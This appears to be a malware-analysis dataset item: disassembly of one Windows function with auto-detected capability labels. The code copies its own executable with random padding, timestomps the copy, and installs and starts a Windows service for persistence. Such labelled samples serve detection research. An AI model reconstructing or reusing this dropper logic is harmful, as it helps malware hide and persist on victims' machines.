Function at 0x401ea9
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Create service
Delete service
Get common file path
Get file size
Get graphical window text
Modify service
Persist via windows service
Read file on windows
Start service
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10558
call fcn.00402bf4
push ebx
push esi
push edi
xor esi, esi
mov ebx, esi
mov dword [ebp - 0x1000c], esi
jmp 0x401eed
and dword [ebp - 0x10130], 0
jmp 0x401edb
inc esi
or esi, esi
je 0x401ed5
mov ebx, esi
inc dword [ebp - 0x10130]
cmp dword [ebp - 0x10130], 0x76c
jb 0x401ece
inc dword [ebp - 0x1000c]
cmp dword [ebp - 0x1000c], 0x15f90
jb 0x401ec5
mov eax, esi
xor edx, edx
div ebx
mov dword [ebp - 0x10130], eax
mov esi, eax
and dword [ebp - 0x10028], 0
call sub.KERNEL32.dll_GetCommandLineA
push eax
lea edi, [ebp - 0x10003]
push edi
call sub.msvcrt.dll_sprintf
push 1
push 0x406191
lea eax, [ebp - 0x10003]
push eax
call fcn.0040129c
add esp, 0x14
cmp eax, 0xffff
je 0x401f4c
mov dword [ebp - 0x10028], 1
jmp 0x40209c
call sub.KERNEL32.dll_GetVersion
cmp eax, 0x80000000
jb 0x40202f
and dword [ebp - 4], 0
jmp 0x401f72
mov eax, dword [ebp - 4]
cmp byte [ebp + eax - 0x10003], 0x20
je 0x401f87
inc dword [ebp - 4]
lea ecx, [ebp - 0x10003]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401f7b
cmp dword [ebp - 4], eax
jb 0x401f62
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10008], eax
jmp 0x401fb4
mov eax, dword [ebp - 0x10008]
mov edx, eax
sub edx, dword [ebp - 4]
mov al, byte [ebp + eax - 0x10003]
mov byte [ebp + edx - 0x10003], al
inc dword [ebp - 0x10008]
lea ecx, [ebp - 0x10003]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401fbd
cmp dword [ebp - 0x10008], eax
jb 0x401f95
mov eax, dword [ebp - 0x10008]
sub eax, dword [ebp - 4]
mov byte [ebp + eax - 0x10003], 0
lea ecx, [ebp - 0x10003]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x401fe6
cmp eax, 0
je 0x40202f
cmp byte [ebp - 0x10003], 0x20
jne 0x402021
lea eax, [ebp - 0x10002]
push eax
lea eax, [ebp - 0x1022f]
push eax
call fcn.00402c14
lea eax, [ebp - 0x1022f]
push eax
lea eax, [ebp - 0x10003]
push eax
call fcn.00402c14
push 1
lea eax, [ebp - 0x10003]
push eax
call sub.KERNEL32.dll_WinExec
mov eax, dword [ebp + 8]
mov dword [0x405378], eax
push 0
push 0x40619b
call sub.USER32.dll_FindWindowA
mov dword [ebp - 0x10024], eax
test eax, eax
je 0x40209c
push 0xffff
lea eax, [ebp - 0x10003]
push eax
push dword [ebp - 0x10024]
call sub.USER32.dll_GetWindowTextA
lea eax, [ebp - 0x10003]
push eax
call sub.msvcrt.dll_atoi
pop ecx
mov edx, 0xa
cmp edx, eax
jg 0x402082
push 1
call sub.msvcrt.dll_exit
pop ecx
push 0xcdef
push 0xfedc
push 0x400
push dword [ebp - 0x10024]
call sub.USER32.dll_SendMessageA
and dword [0x403130], 0
lea eax, [0x40299a]
mov dword [0x403134], eax
and dword [0x403138], 0
and dword [0x40313c], 0
mov eax, dword [0x405378]
mov dword [0x403140], eax
and dword [0x403144], 0
and dword [0x403148], 0
and dword [0x40314c], 0
and dword [0x403150], 0
lea eax, [0x40619b]
mov dword [0x403154], eax
push 0x403130
call sub.USER32.dll_RegisterClassA
push 0x104
push 0x403000
push dword [0x405378]
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push 0x403000
call sub.KERNEL32.dll_CreateFileA
mov dword [ebp - 0x10018], eax
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
mov edi, eax
add edi, 0x2710
mov dword [ebp - 4], edi
push edi
push 0
call sub.KERNEL32.dll_LocalAlloc
mov dword [ebp - 0x10010], eax
push 0
lea eax, [ebp - 0x10014]
push eax
push dword [ebp - 4]
push dword [ebp - 0x10010]
push dword [ebp - 0x10018]
call sub.KERNEL32.dll_ReadFile
lea eax, [ebp - 0x10020]
push eax
push 0
push 0
push dword [ebp - 0x10018]
call sub.KERNEL32.dll_GetFileTime
push dword [ebp - 0x10018]
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [ebp - 0x1001c]
sub eax, 0x186a0
mov dword [ebp - 0x1001c], eax
mov eax, dword [ebp - 0x10010]
cmp byte [eax + 0x216], 0
jne 0x4024c6
call sub.KERNEL32.dll_GetTickCount
push eax
call sub.msvcrt.dll_srand
push 0xffff
lea eax, [ebp - 0x10003]
push eax
call sub.KERNEL32.dll_GetSystemDirectoryA
push 0x40618a
lea eax, [ebp - 0x1032e]
push eax
call fcn.00402c14
push 0xff
lea eax, [ebp - 0x10003]
push eax
call sub.KERNEL32.dll_GetWindowsDirectoryA
lea eax, [ebp - 0x1032e]
push eax
lea eax, [ebp - 0x10003]
push eax
push 0x406180
lea eax, [ebp - 0x1022f]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x14
call sub.msvcrt.dll_rand
mov edi, eax
mov edx, dword [ebp - 0x10010]
mov dword [ebp - 0x10338], edx
mov eax, edi
mov dword [ebp - 0x10334], eax
mov edx, 0x1b4e81b5
mov ecx, eax
imul edx
sar edx, 5
sar ecx, 0x1f
sub edx, ecx
mov dword [ebp - 0x1033c], edx
mov edi, edx
inc edi
mov edx, edi
mov edi, dword [ebp - 0x10338]
mov byte [edi + 0x216], dl
mov eax, dword [ebp - 0x10014]
mov dword [ebp - 4], eax
jmp 0x4022ab
call sub.msvcrt.dll_rand
mov edi, eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x10344], edx
mov ecx, dword [ebp - 0x10010]
mov dword [ebp - 0x1034c], ecx
mov eax, edi
mov dword [ebp - 0x10340], eax
test eax, eax
jge 0x40228c
add eax, 0xff
sar eax, 8
mov dword [ebp - 0x10348], eax
mov edi, eax
mov edx, edi
mov edi, dword [ebp - 0x10344]
mov ecx, dword [ebp - 0x1034c]
mov byte [ecx + edi], dl
inc dword [ebp - 4]
mov eax, dword [ebp - 0x10014]
add eax, 0x270f
cmp dword [ebp - 4], eax
jb 0x40225f
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x1022f]
push eax
call sub.KERNEL32.dll_CreateFileA
mov dword [ebp - 0x10018], eax
call sub.msvcrt.dll_rand
mov edi, eax
push 0
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp - 0x10014]
mov dword [ebp - 0x10354], edx
mov eax, edi
mov dword [ebp - 0x10350], eax
test eax, eax
jge 0x402307
add eax, 3
sar eax, 2
mov dword [ebp - 0x10358], eax
mov edi, dword [ebp - 0x10354]
mov edx, eax
add edi, eax
push edi
push dword [ebp - 0x10010]
push dword [ebp - 0x10018]
call sub.KERNEL32.dll_WriteFile
lea eax, [ebp - 0x10020]
push eax
push 0
push 0
push dword [ebp - 0x10018]
call sub.KERNEL32.dll_SetFileTime
push dword [ebp - 0x10018]
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_GetVersion
cmp eax, 0x80000000
jae 0x40245a
push 0xf003f
push 0
push 0
call sub.ADVAPI32.dll_OpenSCManagerA
mov dword [ebp - 0x10360], eax
push 0xf01ff
push 0x4061a5
push eax
call sub.ADVAPI32.dll_OpenServiceA
mov dword [ebp - 0x1035c], eax
push eax
call sub.ADVAPI32.dll_DeleteService
push dword [ebp - 0x1035c]
call sub.ADVAPI32.dll_CloseServiceHandle
push dword [ebp - 0x10360]
call sub.ADVAPI32.dll_CloseServiceHandle
push 0
call sub.msvcrt.dll__sleep
pop ecx
push 0xf003f
push 0
push 0
call sub.ADVAPI32.dll_OpenSCManagerA
mov dword [ebp - 0x10360], eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1022f]
push eax
push 1
push 2
push 0x110
push 0xf01ff
push 0x406172
push 0x4061a5
push dword [ebp - 0x10360]
call sub.ADVAPI32.dll_CreateServiceA
mov dword [ebp - 0x1035c], eax
mov dword [ebp - 0x103f4], 0x94
lea eax, [ebp - 0x103f4]
push eax
call sub.KERNEL32.dll_GetVersionExA
cmp dword [ebp - 0x103f0], 5
jb 0x402449
push 0x40615b
lea eax, [ebp - 0x104f3]
push eax
call fcn.00402c14
lea eax, [ebp - 0x104f3]
mov dword [ebp - 0x104f8], eax
lea eax, [ebp - 0x104f8]
push eax
push 1
push dword [ebp - 0x1035c]
call sub.ADVAPI32.dll_ChangeServiceConfig2A
push 0
push 0
push dword [ebp - 0x1035c]
call sub.ADVAPI32.dll_StartServiceA
jmp 0x4024b9
lea eax, [ebp - 0x1032e]
push eax
push 0x40614e
lea eax, [ebp - 0x10457]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x1022f]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40247e
push 1
mov edi, eax
add edi, 1
push edi
lea edi, [ebp - 0x10457]
push edi
push 0x406132
push 0x406133
push 0x80000000
call fcn.004013c5
add esp, 0x18
push 1
lea eax, [ebp - 0x1022f]
push eax
call sub.KERNEL32.dll_WinExec
call fcn.00401725
push 1
call sub.msvcrt.dll_exit
pop ecx
push dword [ebp - 0x10010]
call sub.KERNEL32.dll_LocalFree
push 0xff
lea eax, [ebp - 0x1012c]
push eax
call sub.KERNEL32.dll_GetSystemDirectoryA
call sub.KERNEL32.dll_GetVersion
cmp eax, 0x80000000
jae 0x40253d
cmp dword [ebp - 0x10028], 0
je 0x40252b
push 0xf003f
push 0
push 0
call sub.ADVAPI32.dll_OpenSCManagerA
mov dword [ebp - 0x10134], eax
push 0xf01ff
push 0x4061a5
push eax
call sub.ADVAPI32.dll_OpenServiceA
mov dword [ebp - 0x10138], eax
push 0
push 0
push eax
call sub.ADVAPI32.dll_StartServiceA
push 0x4060ac
call sub.ADVAPI32.dll_StartServiceCtrlDispatcherA
push 1
call sub.msvcrt.dll_exit
pop ecx
push 0xa
push 0x4061a2
lea eax, [ebp - 0x10003]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0xc
push 0
push dword [0x405378]
push 0
push 0
push 0
push 0
push 0
push 0
push 0xcf0000
lea eax, [ebp - 0x10003]
push eax
push 0x40619b
push 0
call sub.USER32.dll_CreateWindowExA
mov dword [0x405160], eax
call fcn.00401db4
jmp 0x40259f
push 0x403110
call sub.USER32.dll_TranslateMessage
push 0x403110
call sub.USER32.dll_DispatchMessageA
push 0
push 0
push 0
push 0x403110
call sub.USER32.dll_GetMessageA
or eax, eax
jne 0x40258b
pop edi
pop esi
pop ebx
leave
ret 0x10